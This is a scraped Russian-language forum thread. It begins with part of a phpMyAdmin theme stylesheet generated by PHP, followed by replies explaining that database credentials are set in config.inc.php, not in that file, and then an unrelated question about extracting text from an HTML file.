clear: both;
display: block;
margin-top: 1em;
margin-bottom: 1em;
width: 100%;
border-top: 0.1em solid silver;
text-align: <?php echo $right; ?>;
}
#table_innodb_bufferpool_usage,
#table_innodb_bufferpool_activity {
float: <?php echo $left; ?>;
}
#div_mysql_charset_collations table {
float: <?php echo $left; ?>;
}
#div_table_order {
min-width: 48%;
float: <?php echo $left; ?>;
}
#div_table_rename {
min-width: 48%;
float: <?php echo $left; ?>;
}
#div_table_copy {
min-width: 48%;
float: <?php echo $left; ?>;
}
#div_table_options {
clear: both;
min-width: 48%;
float: <?php echo $left; ?>;
}
#qbe_div_table_list {
float: <?php echo $left; ?>;
}
#qbe_div_sql_query {
float: <?php echo $left; ?>;
}
<?php
$GLOBALS['cfg']['BgOne'] = $GLOBALS['cfg']['BgcolorOne'];
$GLOBALS['cfg']['BgTwo'] = $GLOBALS['cfg']['BgcolorTwo'];
} // end styles 2.7.1
if ($_SESSION['PMA_Theme']->checkVersion('2.9')) {
?>
/********************/
/* NEW in PMA 2.9 */
/********************/
<?php if ($GLOBALS['cfg']['BrowseMarkerColor']) { ?>
/* marked items */
.marked a,
.marked {
background: <?php echo $GLOBALS['cfg']['BrowseMarkerBackground']; ?>;
color: <?php echo $GLOBALS['cfg']['BrowseMarkerColor']; ?>;
}
<?php } ?>
/* odd items 1,3,5,7,... */
.odd {
background: <?php echo $GLOBALS['cfg']['BgOne']; ?>;
}
/* even items 2,4,6,8,... */
.even {
background: <?php echo $GLOBALS['cfg']['BgTwo']; ?>;
}
/* hovered items */
.odd:hover,
.even:hover,
.hover {
background: <?php echo $GLOBALS['cfg']['BrowsePointerBackground']; ?>;
color: <?php echo $GLOBALS['cfg']['BrowsePointerColor']; ?>;
}
/**
* marks table rows/cells if the db field is in a where condition
*/
tr.condition th,
tr.condition td,
td.condition,
th.condition {
border: 1px solid <?php echo $GLOBALS['cfg']['BrowseMarkerBackground']; ?>;
}
label.desc {
width: 30em;
float: <?php echo $left; ?>;
}
body.loginform {
text-align: center;
}
body.loginform div.container {
text-align: <?php echo $left; ?>;
width: 30em;
margin: 0 auto;
}
#body_leftFrame #list_server {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_host.png);
list-style-position: inside;
list-style-type: none;
margin: 0;
padding: 0;
}
#body_leftFrame #list_server li {
margin: 0;
padding: 0;
font-size: 80%;
}
<?php
} // end styles 2.9
$_SESSION['PMA_Theme_Manager']->printCss(PMA_FRAME);
?>
dinar_007
09.01.2008, 18:51
Conquerstador, эта х**ня формирует css файл... Какой ещё логин и пароль? В этом файле он не прописывается, он прописывается в конфиге, совсем в другом файле...
P.S.
тэг [пхп][/пхп] для чего придуман?
Conquerstador
09.01.2008, 19:15
Conquerstador, эта х**ня формирует css файл... Какой ещё логин и пароль? В этом файле он не прописывается, он прописывается в конфиге, совсем в другом файле...
P.S.
тэг [пхп][/пхп] для чего придуманы?
так он здоровый я его вставлял он не вставляется )))
presidentua
09.01.2008, 19:21
так он здоровый я его вставлял он не вставляется )))
Это из документации:
3. Open the file config.inc.php in your favorite editor and change the values for host, user, password and authentication mode to fit your
environment. Here, "host" means the MySQL server. Have a look at Configuration section for an explanation of all values. Please also read the remaining of this Installation section for information about authentication modes and the linked-tables infrastructure.
Припустим есть файл html вньом разные даные и хтмл в томже числе.
но есть текст которые всегда разный как можно вытащить его.. не копаясь в етому мусоре html.
Думал что можно зделать через шаблон но в таком случае мне выдаст не текст а просто труе(1) или фалсе(0).., а мне нужен имено текст.
Дайте если можно пример или подскажыте что нужно делать
Что тебе нужно именно? Вытащить определенный кусок текста из html файла?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot